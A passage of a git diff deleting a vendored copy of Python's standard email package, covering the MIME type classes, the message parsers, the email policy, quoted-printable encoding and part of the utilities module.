_maintype and _subtype - arguments. Additional parameters for this header are taken from the - keyword arguments. - """ - if policy is None: - policy = email.policy.compat32 - message.Message.__init__(self, policy=policy) - ctype = '%s/%s' % (_maintype, _subtype) - self.add_header('Content-Type', ctype, **_params) - self['MIME-Version'] = '1.0' diff --git a/email/mime/image.py b/email/mime/image.py deleted file mode 100755 index 9272464..0000000 --- a/email/mime/image.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright (C) 2001-2006 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""Class representing image/* type MIME documents.""" - -__all__ = ['MIMEImage'] - -import imghdr - -from email import encoders -from email.mime.nonmultipart import MIMENonMultipart - - - -class MIMEImage(MIMENonMultipart): - """Class for generating image/* type MIME documents.""" - - def __init__(self, _imagedata, _subtype=None, - _encoder=encoders.encode_base64, *, policy=None, **_params): - """Create an image/* type MIME document. - - _imagedata is a string containing the raw image data. If this data - can be decoded by the standard Python `imghdr' module, then the - subtype will be automatically included in the Content-Type header. - Otherwise, you can specify the specific image subtype via the _subtype - parameter. - - _encoder is a function which will perform the actual encoding for - transport of the image data. It takes one argument, which is this - Image instance. It should use get_payload() and set_payload() to - change the payload to the encoded form. It should also add any - Content-Transfer-Encoding or other headers to the message as - necessary. The default encoding is Base64. - - Any additional keyword arguments are passed to the base class - constructor, which turns them into parameters on the Content-Type - header. - """ - if _subtype is None: - _subtype = imghdr.what(None, _imagedata) - if _subtype is None: - raise TypeError('Could not guess image MIME subtype') - MIMENonMultipart.__init__(self, 'image', _subtype, policy=policy, - **_params) - self.set_payload(_imagedata) - _encoder(self) diff --git a/email/mime/message.py b/email/mime/message.py deleted file mode 100755 index 07e4f2d..0000000 --- a/email/mime/message.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright (C) 2001-2006 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""Class representing message/* MIME documents.""" - -__all__ = ['MIMEMessage'] - -from email import message -from email.mime.nonmultipart import MIMENonMultipart - - - -class MIMEMessage(MIMENonMultipart): - """Class representing message/* MIME documents.""" - - def __init__(self, _msg, _subtype='rfc822', *, policy=None): - """Create a message/* type MIME document. - - _msg is a message object and must be an instance of Message, or a - derived class of Message, otherwise a TypeError is raised. - - Optional _subtype defines the subtype of the contained message. The - default is "rfc822" (this is defined by the MIME standard, even though - the term "rfc822" is technically outdated by RFC 2822). - """ - MIMENonMultipart.__init__(self, 'message', _subtype, policy=policy) - if not isinstance(_msg, message.Message): - raise TypeError('Argument is not an instance of Message') - # It's convenient to use this base class method. We need to do it - # this way or we'll get an exception - message.Message.attach(self, _msg) - # And be sure our default type is set correctly - self.set_default_type('message/rfc822') diff --git a/email/mime/multipart.py b/email/mime/multipart.py deleted file mode 100755 index 2d3f288..0000000 --- a/email/mime/multipart.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright (C) 2002-2006 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""Base class for MIME multipart/* type messages.""" - -__all__ = ['MIMEMultipart'] - -from email.mime.base import MIMEBase - - - -class MIMEMultipart(MIMEBase): - """Base class for MIME multipart/* type messages.""" - - def __init__(self, _subtype='mixed', boundary=None, _subparts=None, - *, policy=None, - **_params): - """Creates a multipart/* type message. - - By default, creates a multipart/mixed message, with proper - Content-Type and MIME-Version headers. - - _subtype is the subtype of the multipart content type, defaulting to - `mixed'. - - boundary is the multipart boundary string. By default it is - calculated as needed. - - _subparts is a sequence of initial subparts for the payload. It - must be an iterable object, such as a list. You can always - attach new subparts to the message by using the attach() method. - - Additional parameters for the Content-Type header are taken from the - keyword arguments (or passed into the _params argument). - """ - MIMEBase.__init__(self, 'multipart', _subtype, policy=policy, **_params) - - # Initialise _payload to an empty list as the Message superclass's - # implementation of is_multipart assumes that _payload is a list for - # multipart messages. - self._payload = [] - - if _subparts: - for p in _subparts: - self.attach(p) - if boundary: - self.set_boundary(boundary) diff --git a/email/mime/nonmultipart.py b/email/mime/nonmultipart.py deleted file mode 100755 index e1f5196..0000000 --- a/email/mime/nonmultipart.py +++ /dev/null @@ -1,22 +0,0 @@ -# Copyright (C) 2002-2006 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""Base class for MIME type messages that are not multipart.""" - -__all__ = ['MIMENonMultipart'] - -from email import errors -from email.mime.base import MIMEBase - - - -class MIMENonMultipart(MIMEBase): - """Base class for MIME non-multipart type messages.""" - - def attach(self, payload): - # The public API prohibits attaching multiple subparts to MIMEBase - # derived subtypes since none of them are, by definition, of content - # type multipart/* - raise errors.MultipartConversionError( - 'Cannot attach additional subparts to non-multipart/*') diff --git a/email/mime/text.py b/email/mime/text.py deleted file mode 100755 index 35b4423..0000000 --- a/email/mime/text.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright (C) 2001-2006 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""Class representing text/* type MIME documents.""" - -__all__ = ['MIMEText'] - -from email.charset import Charset -from email.mime.nonmultipart import MIMENonMultipart - - - -class MIMEText(MIMENonMultipart): - """Class for generating text/* type MIME documents.""" - - def __init__(self, _text, _subtype='plain', _charset=None, *, policy=None): - """Create a text/* type MIME document. - - _text is the string for this message object. - - _subtype is the MIME sub content type, defaulting to "plain". - - _charset is the character set parameter added to the Content-Type - header. This defaults to "us-ascii". Note that as a side-effect, the - Content-Transfer-Encoding header will also be set. - """ - - # If no _charset was specified, check to see if there are non-ascii - # characters present. If not, use 'us-ascii', otherwise use utf-8. - # XXX: This can be removed once #7304 is fixed. - if _charset is None: - try: - _text.encode('us-ascii') - _charset = 'us-ascii' - except UnicodeEncodeError: - _charset = 'utf-8' - - MIMENonMultipart.__init__(self, 'text', _subtype, policy=policy, - **{'charset': str(_charset)}) - - self.set_payload(_text, _charset) diff --git a/email/parser.py b/email/parser.py deleted file mode 100755 index 555b172..0000000 --- a/email/parser.py +++ /dev/null @@ -1,132 +0,0 @@ -# Copyright (C) 2001-2007 Python Software Foundation -# Author: Barry Warsaw, Thomas Wouters, Anthony Baxter -# Contact: email-sig@python.org - -"""A parser of RFC 2822 and MIME email messages.""" - -__all__ = ['Parser', 'HeaderParser', 'BytesParser', 'BytesHeaderParser', - 'FeedParser', 'BytesFeedParser'] - -from io import StringIO, TextIOWrapper - -from email.feedparser import FeedParser, BytesFeedParser -from email._policybase import compat32 - - - -class Parser: - def __init__(self, _class=None, *, policy=compat32): - """Parser of RFC 2822 and MIME email messages. - - Creates an in-memory object tree representing the email message, which - can then be manipulated and turned over to a Generator to return the - textual representation of the message. - - The string must be formatted as a block of RFC 2822 headers and header - continuation lines, optionally preceded by a `Unix-from' header. The - header block is terminated either by the end of the string or by a - blank line. - - _class is the class to instantiate for new message objects when they - must be created. This class must have a constructor that can take - zero arguments. Default is Message.Message. - - The policy keyword specifies a policy object that controls a number of - aspects of the parser's operation. The default policy maintains - backward compatibility. - - """ - self._class = _class - self.policy = policy - - def parse(self, fp, headersonly=False): - """Create a message structure from the data in a file. - - Reads all the data from the file and returns the root of the message - structure. Optional headersonly is a flag specifying whether to stop - parsing after reading the headers or not. The default is False, - meaning it parses the entire contents of the file. - """ - feedparser = FeedParser(self._class, policy=self.policy) - if headersonly: - feedparser._set_headersonly() - while True: - data = fp.read(8192) - if not data: - break - feedparser.feed(data) - return feedparser.close() - - def parsestr(self, text, headersonly=False): - """Create a message structure from a string. - - Returns the root of the message structure. Optional headersonly is a - flag specifying whether to stop parsing after reading the headers or - not. The default is False, meaning it parses the entire contents of - the file. - """ - return self.parse(StringIO(text), headersonly=headersonly) - - - -class HeaderParser(Parser): - def parse(self, fp, headersonly=True): - return Parser.parse(self, fp, True) - - def parsestr(self, text, headersonly=True): - return Parser.parsestr(self, text, True) - - -class BytesParser: - - def __init__(self, *args, **kw): - """Parser of binary RFC 2822 and MIME email messages. - - Creates an in-memory object tree representing the email message, which - can then be manipulated and turned over to a Generator to return the - textual representation of the message. - - The input must be formatted as a block of RFC 2822 headers and header - continuation lines, optionally preceded by a `Unix-from' header. The - header block is terminated either by the end of the input or by a - blank line. - - _class is the class to instantiate for new message objects when they - must be created. This class must have a constructor that can take - zero arguments. Default is Message.Message. - """ - self.parser = Parser(*args, **kw) - - def parse(self, fp, headersonly=False): - """Create a message structure from the data in a binary file. - - Reads all the data from the file and returns the root of the message - structure. Optional headersonly is a flag specifying whether to stop - parsing after reading the headers or not. The default is False, - meaning it parses the entire contents of the file. - """ - fp = TextIOWrapper(fp, encoding='ascii', errors='surrogateescape') - try: - return self.parser.parse(fp, headersonly) - finally: - fp.detach() - - - def parsebytes(self, text, headersonly=False): - """Create a message structure from a byte string. - - Returns the root of the message structure. Optional headersonly is a - flag specifying whether to stop parsing after reading the headers or - not. The default is False, meaning it parses the entire contents of - the file. - """ - text = text.decode('ASCII', errors='surrogateescape') - return self.parser.parsestr(text, headersonly) - - -class BytesHeaderParser(BytesParser): - def parse(self, fp, headersonly=True): - return BytesParser.parse(self, fp, headersonly=True) - - def parsebytes(self, text, headersonly=True): - return BytesParser.parsebytes(self, text, headersonly=True) diff --git a/email/policy.py b/email/policy.py deleted file mode 100755 index 5131311..0000000 --- a/email/policy.py +++ /dev/null @@ -1,223 +0,0 @@ -"""This will be the home for the policy that hooks in the new -code that adds all the email6 features. -""" - -import re -from email._policybase import Policy, Compat32, compat32, _extend_docstrings -from email.utils import _has_surrogates -from email.headerregistry import HeaderRegistry as HeaderRegistry -from email.contentmanager import raw_data_manager -from email.message import EmailMessage - -__all__ = [ - 'Compat32', - 'compat32', - 'Policy', - 'EmailPolicy', - 'default', - 'strict', - 'SMTP', - 'HTTP', - ] - -linesep_splitter = re.compile(r'\n|\r') - -@_extend_docstrings -class EmailPolicy(Policy): - - """+ - PROVISIONAL - - The API extensions enabled by this policy are currently provisional. - Refer to the documentation for details. - - This policy adds new header parsing and folding algorithms. Instead of - simple strings, headers are custom objects with custom attributes - depending on the type of the field. The folding algorithm fully - implements RFCs 2047 and 5322. - - In addition to the settable attributes listed above that apply to - all Policies, this policy adds the following additional attributes: - - utf8 -- if False (the default) message headers will be - serialized as ASCII, using encoded words to encode - any non-ASCII characters in the source strings. If - True, the message headers will be serialized using - utf8 and will not contain encoded words (see RFC - 6532 for more on this serialization format). - - refold_source -- if the value for a header in the Message object - came from the parsing of some source, this attribute - indicates whether or not a generator should refold - that value when transforming the message back into - stream form. The possible values are: - - none -- all source values use original folding - long -- source values that have any line that is - longer than max_line_length will be - refolded - all -- all values are refolded. - - The default is 'long'. - - header_factory -- a callable that takes two arguments, 'name' and - 'value', where 'name' is a header field name and - 'value' is an unfolded header field value, and - returns a string-like object that represents that - header. A default header_factory is provided that - understands some of the RFC5322 header field types. - (Currently address fields and date fields have - special treatment, while all other fields are - treated as unstructured. This list will be - completed before the extension is marked stable.) - - content_manager -- an object with at least two methods: get_content - and set_content. When the get_content or - set_content method of a Message object is called, - it calls the corresponding method of this object, - passing it the message object as its first argument, - and any arguments or keywords that were passed to - it as additional arguments. The default - content_manager is - :data:`~email.contentmanager.raw_data_manager`. - - """ - - message_factory = EmailMessage - utf8 = False - refold_source = 'long' - header_factory = HeaderRegistry() - content_manager = raw_data_manager - - def __init__(self, **kw): - # Ensure that each new instance gets a unique header factory - # (as opposed to clones, which share the factory). - if 'header_factory' not in kw: - object.__setattr__(self, 'header_factory', HeaderRegistry()) - super().__init__(**kw) - - def header_max_count(self, name): - """+ - The implementation for this class returns the max_count attribute from - the specialized header class that would be used to construct a header - of type 'name'. - """ - return self.header_factory[name].max_count - - # The logic of the next three methods is chosen such that it is possible to - # switch a Message object between a Compat32 policy and a policy derived - # from this class and have the results stay consistent. This allows a - # Message object constructed with this policy to be passed to a library - # that only handles Compat32 objects, or to receive such an object and - # convert it to use the newer style by just changing its policy. It is - # also chosen because it postpones the relatively expensive full rfc5322 - # parse until as late as possible when parsing from source, since in many - # applications only a few headers will actually be inspected. - - def header_source_parse(self, sourcelines): - """+ - The name is parsed as everything up to the ':' and returned unmodified. - The value is determined by stripping leading whitespace off the - remainder of the first line, joining all subsequent lines together, and - stripping any trailing carriage return or linefeed characters. (This - is the same as Compat32). - - """ - name, value = sourcelines[0].split(':', 1) - value = value.lstrip(' \t') + ''.join(sourcelines[1:]) - return (name, value.rstrip('\r\n')) - - def header_store_parse(self, name, value): - """+ - The name is returned unchanged. If the input value has a 'name' - attribute and it matches the name ignoring case, the value is returned - unchanged. Otherwise the name and value are passed to header_factory - method, and the resulting custom header object is returned as the - value. In this case a ValueError is raised if the input value contains - CR or LF characters. - - """ - if hasattr(value, 'name') and value.name.lower() == name.lower(): - return (name, value) - if isinstance(value, str) and len(value.splitlines())>1: - # XXX this error message isn't quite right when we use splitlines - # (see issue 22233), but I'm not sure what should happen here. - raise ValueError("Header values may not contain linefeed " - "or carriage return characters") - return (name, self.header_factory(name, value)) - - def header_fetch_parse(self, name, value): - """+ - If the value has a 'name' attribute, it is returned to unmodified. - Otherwise the name and the value with any linesep characters removed - are passed to the header_factory method, and the resulting custom - header object is returned. Any surrogateescaped bytes get turned - into the unicode unknown-character glyph. - - """ - if hasattr(value, 'name'): - return value - # We can't use splitlines here because it splits on more than \r and \n. - value = ''.join(linesep_splitter.split(value)) - return self.header_factory(name, value) - - def fold(self, name, value): - """+ - Header folding is controlled by the refold_source policy setting. A - value is considered to be a 'source value' if and only if it does not - have a 'name' attribute (having a 'name' attribute means it is a header - object of some sort). If a source value needs to be refolded according - to the policy, it is converted into a custom header object by passing - the name and the value with any linesep characters removed to the - header_factory method. Folding of a custom header object is done by - calling its fold method with the current policy. - - Source values are split into lines using splitlines. If the value is - not to be refolded, the lines are rejoined using the linesep from the - policy and returned. The exception is lines containing non-ascii - binary data. In that case the value is refolded regardless of the - refold_source setting, which causes the binary data to be CTE encoded - using the unknown-8bit charset. - - """ - return self._fold(name, value, refold_binary=True) - - def fold_binary(self, name, value): - """+ - The same as fold if cte_type is 7bit, except that the returned value is - bytes. - - If cte_type is 8bit, non-ASCII binary data is converted back into - bytes. Headers with binary data are not refolded, regardless of the - refold_header setting, since there is no way to know whether the binary - data consists of single byte characters or multibyte characters. - - If utf8 is true, headers are encoded to utf8, otherwise to ascii with - non-ASCII unicode rendered as encoded words. - - """ - folded = self._fold(name, value, refold_binary=self.cte_type=='7bit') - charset = 'utf8' if self.utf8 else 'ascii' - return folded.encode(charset, 'surrogateescape') - - def _fold(self, name, value, refold_binary=False): - if hasattr(value, 'name'): - return value.fold(policy=self) - maxlen = self.max_line_length if self.max_line_length else float('inf') - lines = value.splitlines() - refold = (self.refold_source == 'all' or - self.refold_source == 'long' and - (lines and len(lines[0])+len(name)+2 > maxlen or - any(len(x) > maxlen for x in lines[1:]))) - if refold or refold_binary and _has_surrogates(value): - return self.header_factory(name, ''.join(lines)).fold(policy=self) - return name + ': ' + self.linesep.join(lines) + self.linesep - - -default = EmailPolicy() -# Make the default policy use the class default header_factory -del default.header_factory -strict = default.clone(raise_on_defect=True) -SMTP = default.clone(linesep='\r\n') -HTTP = default.clone(linesep='\r\n', max_line_length=None) -SMTPUTF8 = SMTP.clone(utf8=True) diff --git a/email/quoprimime.py b/email/quoprimime.py deleted file mode 100755 index 94534f7..0000000 --- a/email/quoprimime.py +++ /dev/null @@ -1,299 +0,0 @@ -# Copyright (C) 2001-2006 Python Software Foundation -# Author: Ben Gertzfield -# Contact: email-sig@python.org - -"""Quoted-printable content transfer encoding per RFCs 2045-2047. - -This module handles the content transfer encoding method defined in RFC 2045 -to encode US ASCII-like 8-bit data called `quoted-printable'. It is used to -safely encode text that is in a character set similar to the 7-bit US ASCII -character set, but that includes some 8-bit characters that are normally not -allowed in email bodies or headers. - -Quoted-printable is very space-inefficient for encoding binary files; use the -email.base64mime module for that instead. - -This module provides an interface to encode and decode both headers and bodies -with quoted-printable encoding. - -RFC 2045 defines a method for including character set information in an -`encoded-word' in a header. This method is commonly used for 8-bit real names -in To:/From:/Cc: etc. fields, as well as Subject: lines. - -This module does not do the line wrapping or end-of-line character -conversion necessary for proper internationalized headers; it only -does dumb encoding and decoding. To deal with the various line -wrapping issues, use the email.header module. -""" - -__all__ = [ - 'body_decode', - 'body_encode', - 'body_length', - 'decode', - 'decodestring', - 'header_decode', - 'header_encode', - 'header_length', - 'quote', - 'unquote', - ] - -import re - -from string import ascii_letters, digits, hexdigits - -CRLF = '\r\n' -NL = '\n' -EMPTYSTRING = '' - -# Build a mapping of octets to the expansion of that octet. Since we're only -# going to have 256 of these things, this isn't terribly inefficient -# space-wise. Remember that headers and bodies have different sets of safe -# characters. Initialize both maps with the full expansion, and then override -# the safe bytes with the more compact form. -_QUOPRI_MAP = ['=%02X' % c for c in range(256)] -_QUOPRI_HEADER_MAP = _QUOPRI_MAP[:] -_QUOPRI_BODY_MAP = _QUOPRI_MAP[:] - -# Safe header bytes which need no encoding. -for c in b'-!*+/' + ascii_letters.encode('ascii') + digits.encode('ascii'): - _QUOPRI_HEADER_MAP[c] = chr(c) -# Headers have one other special encoding; spaces become underscores. -_QUOPRI_HEADER_MAP[ord(' ')] = '_' - -# Safe body bytes which need no encoding. -for c in (b' !"#$%&\'()*+,-./0123456789:;<>' - b'?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`' - b'abcdefghijklmnopqrstuvwxyz{|}~\t'): - _QUOPRI_BODY_MAP[c] = chr(c) - - - -# Helpers -def header_check(octet): - """Return True if the octet should be escaped with header quopri.""" - return chr(octet) != _QUOPRI_HEADER_MAP[octet] - - -def body_check(octet): - """Return True if the octet should be escaped with body quopri.""" - return chr(octet) != _QUOPRI_BODY_MAP[octet] - - -def header_length(bytearray): - """Return a header quoted-printable encoding length. - - Note that this does not include any RFC 2047 chrome added by - `header_encode()`. - - :param bytearray: An array of bytes (a.k.a. octets). - :return: The length in bytes of the byte array when it is encoded with - quoted-printable for headers. - """ - return sum(len(_QUOPRI_HEADER_MAP[octet]) for octet in bytearray) - - -def body_length(bytearray): - """Return a body quoted-printable encoding length. - - :param bytearray: An array of bytes (a.k.a. octets). - :return: The length in bytes of the byte array when it is encoded with - quoted-printable for bodies. - """ - return sum(len(_QUOPRI_BODY_MAP[octet]) for octet in bytearray) - - -def _max_append(L, s, maxlen, extra=''): - if not isinstance(s, str): - s = chr(s) - if not L: - L.append(s.lstrip()) - elif len(L[-1]) + len(s) <= maxlen: - L[-1] += extra + s - else: - L.append(s.lstrip()) - - -def unquote(s): - """Turn a string in the form =AB to the ASCII character with value 0xab""" - return chr(int(s[1:3], 16)) - - -def quote(c): - return _QUOPRI_MAP[ord(c)] - - -def header_encode(header_bytes, charset='iso-8859-1'): - """Encode a single header line with quoted-printable (like) encoding. - - Defined in RFC 2045, this `Q' encoding is similar to quoted-printable, but - used specifically for email header fields to allow charsets with mostly 7 - bit characters (and some 8 bit) to remain more or less readable in non-RFC - 2045 aware mail clients. - - charset names the character set to use in the RFC 2046 header. It - defaults to iso-8859-1. - """ - # Return empty headers as an empty string. - if not header_bytes: - return '' - # Iterate over every byte, encoding if necessary. - encoded = header_bytes.decode('latin1').translate(_QUOPRI_HEADER_MAP) - # Now add the RFC chrome to each encoded chunk and glue the chunks - # together. - return '=?%s?q?%s?=' % (charset, encoded) - - -_QUOPRI_BODY_ENCODE_MAP = _QUOPRI_BODY_MAP[:] -for c in b'\r\n': - _QUOPRI_BODY_ENCODE_MAP[c] = chr(c) - -def body_encode(body, maxlinelen=76, eol=NL): - """Encode with quoted-printable, wrapping at maxlinelen characters. - - Each line of encoded text will end with eol, which defaults to "\\n". Set - this to "\\r\\n" if you will be using the result of this function directly - in an email. - - Each line will be wrapped at, at most, maxlinelen characters before the - eol string (maxlinelen defaults to 76 characters, the maximum value - permitted by RFC 2045). Long lines will have the 'soft line break' - quoted-printable character "=" appended to them, so the decoded text will - be identical to the original text. - - The minimum maxlinelen is 4 to have room for a quoted character ("=XX") - followed by a soft line break. Smaller values will generate a - ValueError. - - """ - - if maxlinelen < 4: - raise ValueError("maxlinelen must be at least 4") - if not body: - return body - - # quote special characters - body = body.translate(_QUOPRI_BODY_ENCODE_MAP) - - soft_break = '=' + eol - # leave space for the '=' at the end of a line - maxlinelen1 = maxlinelen - 1 - - encoded_body = [] - append = encoded_body.append - - for line in body.splitlines(): - # break up the line into pieces no longer than maxlinelen - 1 - start = 0 - laststart = len(line) - 1 - maxlinelen - while start <= laststart: - stop = start + maxlinelen1 - # make sure we don't break up an escape sequence - if line[stop - 2] == '=': - append(line[start:stop - 1]) - start = stop - 2 - elif line[stop - 1] == '=': - append(line[start:stop]) - start = stop - 1 - else: - append(line[start:stop] + '=') - start = stop - - # handle rest of line, special case if line ends in whitespace - if line and line[-1] in ' \t': - room = start - laststart - if room >= 3: - # It's a whitespace character at end-of-line, and we have room - # for the three-character quoted encoding. - q = quote(line[-1]) - elif room == 2: - # There's room for the whitespace character and a soft break. - q = line[-1] + soft_break - else: - # There's room only for a soft break. The quoted whitespace - # will be the only content on the subsequent line. - q = soft_break + quote(line[-1]) - append(line[start:-1] + q) - else: - append(line[start:]) - - # add back final newline if present - if body[-1] in CRLF: - append('') - - return eol.join(encoded_body) - - - -# BAW: I'm not sure if the intent was for the signature of this function to be -# the same as base64MIME.decode() or not... -def decode(encoded, eol=NL): - """Decode a quoted-printable string. - - Lines are separated with eol, which defaults to \\n. - """ - if not encoded: - return encoded - # BAW: see comment in encode() above. Again, we're building up the - # decoded string with string concatenation, which could be done much more - # efficiently. - decoded = '' - - for line in encoded.splitlines(): - line = line.rstrip() - if not line: - decoded += eol - continue - - i = 0 - n = len(line) - while i < n: - c = line[i] - if c != '=': - decoded += c - i += 1 - # Otherwise, c == "=". Are we at the end of the line? If so, add - # a soft line break. - elif i+1 == n: - i += 1 - continue - # Decode if in form =AB - elif i+2 < n and line[i+1] in hexdigits and line[i+2] in hexdigits: - decoded += unquote(line[i:i+3]) - i += 3 - # Otherwise, not in form =AB, pass literally - else: - decoded += c - i += 1 - - if i == n: - decoded += eol - # Special case if original string did not end with eol - if encoded[-1] not in '\r\n' and decoded.endswith(eol): - decoded = decoded[:-1] - return decoded - - -# For convenience and backwards compatibility w/ standard base64 module -body_decode = decode -decodestring = decode - - - -def _unquote_match(match): - """Turn a match in the form =AB to the ASCII character with value 0xab""" - s = match.group(0) - return unquote(s) - - -# Header decoding is done a bit differently -def header_decode(s): - """Decode a string encoded with RFC 2045 MIME header `Q' encoding. - - This function does not parse a full MIME header value encoded with - quoted-printable (like =?iso-8859-1?q?Hello_World?=) -- please use - the high level email.header class for that functionality. - """ - s = s.replace('_', ' ') - return re.sub(r'=[a-fA-F0-9]{2}', _unquote_match, s, flags=re.ASCII) diff --git a/email/utils.py b/email/utils.py deleted file mode 100755 index 39c2240..0000000 --- a/email/utils.py +++ /dev/null @@ -1,388 +0,0 @@ -# Copyright (C) 2001-2010 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""Miscellaneous utilities.""" - -__all__ = [ - 'collapse_rfc2231_value', - 'decode_params', - 'decode_rfc2231', - 'encode_rfc2231', - 'formataddr', - 'formatdate', - 'format_datetime', - 'getaddresses', - 'make_msgid', - 'mktime_tz', - 'parseaddr', - 'parsedate', - 'parsedate_tz', - 'parsedate_to_datetime', - 'unquote', - ] - -import os -import re -import time -import random -import socket -import datetime -import urllib.parse - -from email._parseaddr import quote -from email._parseaddr import AddressList as _AddressList -from email._parseaddr import mktime_tz - -from email._parseaddr import parsedate, parsedate_tz, _parsedate_tz - -# Intrapackage imports -from email.charset import Charset - -COMMASPACE = ', ' -EMPTYSTRING = '' -UEMPTYSTRING = '' -CRLF = '\r\n' -TICK = "'" - -specialsre = re.compile(r'[][\\()<>@,:;".]') -escapesre = re.compile(r'[\\"]') - -def _has_surrogates(s): - """Return True if s contains surrogate-escaped binary data.""" - # This check is based on the fact that unless there are surrogates, utf8 - # (Python's default encoding) can encode any string. This is the fastest - # way to check for surrogates, see issue 11454 for timings. - try: - s.encode() - return False - except UnicodeEncodeError: - return True - -# How to deal with a string containing bytes before handing it to the -# application through the 'normal' interface. -def _sanitize(string): - # Turn any escaped bytes into unicode 'unknown' char. If the escaped - # bytes happen to be utf-8 they will instead get decoded, even if they - # were invalid in the charset the source was supposed to be in. This - # seems like it is not a bad thing; a defect was still registered. - original_bytes = string.encode('utf-8', 'surrogateescape') - return original_bytes.decode('utf-8', 'replace') - - - -# Helpers - -def formataddr(pair, charset='utf-8'): - """The inverse of parseaddr(), this takes a 2-tuple of the form - (realname, email_address) and returns the string value suitable - for an RFC 2822 From, To or Cc header. - - If the first element of pair is false, then the second element is - returned unmodified. - - Optional charset if given is the character set that is used to encode - realname in case realname is not ASCII safe. Can be an instance of str or - a Charset-like object which has a header_encode method. Default is - 'utf-8'. - """ - name, address = pair - # The address MUST (per RFC) be ascii, so raise a UnicodeError if it isn't. - address.encode('ascii') - if name: - try: - name.encode('ascii') - except UnicodeEncodeError: - if isinstance(charset, str): - charset = Charset(charset) - encoded_name = charset.header_encode(name) - return "%s <%s>" % (encoded_name, address) - else: - quotes = '' - if specialsre.search(name): - quotes = '"' - name = escapesre.sub(r'\\\g<0>', name) - return '%s%s%s <%s>' % (quotes, name, quotes, address) - return address - - - -def getaddresses(fieldvalues): - """Return a list of (REALNAME, EMAIL) for each fieldvalue.""" - all = COMMASPACE.join(fieldvalues) - a = _AddressList(all) - return a.addresslist - - - -ecre = re.compile(r''' - =\? # literal =? - (?P[^?]*?) # non-greedy up to the next ? is the charset - \? # literal ? - (?P[qb]) # either a "q" or a "b", case insensitive - \? # literal ? - (?P.*?) # non-greedy up to the next ?= is the atom - \?= # literal ?= - ''', re.VERBOSE | re.IGNORECASE) - - -def _format_timetuple_and_zone(timetuple, zone): - return '%s, %02d %s %04d %02d:%02d:%02d %s' % ( - ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'][timetuple[6]], - timetuple[2], - ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', - 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'][timetuple[1] - 1], - timetuple[0], timetuple[3], timetuple[4], timetuple[5], - zone) - -def formatdate(timeval=None, localtime=False, usegmt=False): - """Returns a date string as specified by RFC 2822, e.g.: - - Fri, 09 Nov 2001 01:08:47 -0000 - - Optional timeval if given is a floating point time value as accepted by - gmtime() and localtime(), otherwise the current time is used. - - Optional localtime is a flag that when True, interprets timeval, and - returns a date relative to the local timezone instead of UTC, properly - taking daylight savings time into account. - - Optional argument usegmt means that the timezone is written out as - an ascii string, not numeric one (so "GMT" instead of "+0000"). This - is needed for HTTP, and is only used when localtime==False. - """ - # Note: we cannot use strftime() because that honors the locale and RFC - # 2822 requires that day and month names be the English abbreviations. - if timeval is None: - timeval = time.time() - if localtime or usegmt: - dt = datetime.datetime.fromtimestamp(timeval, datetime.timezone.utc) - else: - dt = datetime.datetime.utcfromtimestamp(timeval) - if localtime: - dt = dt.astimezone() - usegmt = False - return format_datetime(dt, usegmt) - -def format_datetime(dt, usegmt=False): - """Turn a datetime into a date string as specified in RFC 2822. - - If usegmt is True, dt must be an aware datetime with an offset of zero. In - this case 'GMT' will be rendered instead of the normal +0000 required by - RFC2822. This is to support HTTP headers involving date stamps. - """ - now = dt.timetuple() - if usegmt: - if dt.tzinfo is None or dt.tzinfo != datetime.timezone.utc: - raise ValueError("usegmt option requires a UTC datetime") - zone = 'GMT' - elif dt.tzinfo is None: - zone = '-0000' - else: - zone = dt.strftime("%z") - return _format_timetuple_and_zone(now, zone) - - -def make_msgid(idstring=None, domain=None): - """Returns a string suitable for RFC 2822 compliant Message-ID, e.g: - - <142480216486.20800.16526388040877946887@nightshade.la.mastaler.com> - - Optional idstring if given is a string used to strengthen the - uniqueness of the message id. Optional domain if given provides the - portion of the message id after the '@'. It defaults to the locally - defined hostname. - """ - timeval = int(time.time()*100) - pid = os.getpid() - randint = random.getrandbits(64) - if idstring is None: - idstring = '' - else: - idstring = '.' + idstring - if domain is None: - domain = socket.getfqdn() - msgid = '<%d.%d.%d%s@%s>' % (timeval, pid, randint, idstring, domain) - return msgid - - -def parsedate_to_datetime(data): - *dtuple, tz = _parsedate_tz(data) - if tz is None: - return datetime.datetime(*dtuple[:6]) - return datetime.datetime(*dtuple[:6], - tzinfo=datetime.timezone(datetime.timedelta(seconds=tz))) - - -def parseaddr(addr): - """ - Parse addr into its constituent realname and email address parts. - - Return a tuple of realname and email address, unless the parse fails, in - which case return a 2-tuple of ('', ''). - """ - addrs = _AddressList(addr).addresslist - if not addrs: - return '', '' - return addrs[0] - - -# rfc822.unquote() doesn't properly de-backslash-ify in Python pre-2.3. -def unquote(str): - """Remove quotes from a string.""" - if len(str) > 1: - if str.startswith('"') and str.endswith('"'): - return str[1:-1].replace('\\\\', '\\').replace('\\"', '"') - if str.startswith('<') and str.endswith('>'): - return str[1:-1] - return str - - - -# RFC2231-related functions - parameter encoding and decoding -def decode_rfc2231(s): - """Decode string according to RFC 2231""" - parts = s.split(TICK, 2) - if len(parts) <= 2: - return None, None, s - return parts - - -def encode_rfc2231(s, charset=None, language=None): - """Encode string according to RFC 2231. - - If neither charset nor language is given, then s is returned as-is. If - charset is given but not language, the string is encoded using the empty - string for language. - """ - s = urllib.parse.quote(s, safe='', encoding=charset or 'ascii') - if charset is None and language is None: - return s - if language is None: - language = '' - return "%s'%s'%s" % (charset, language, s) - - -rfc2231_continuation = re.compile(r'^(?P\w+)\*((?P[0-9]+)\*?)?$', - re.ASCII) - -def decode_params(params): - """Decode parameters list according to RFC 2231. - - params is a sequence of 2-tuples containing (param name, string value). - """ - # Copy params so we don't mess with the original - params = params[:] - new_params = [] - # Map parameter's name to a list of continuations. The values are a - # 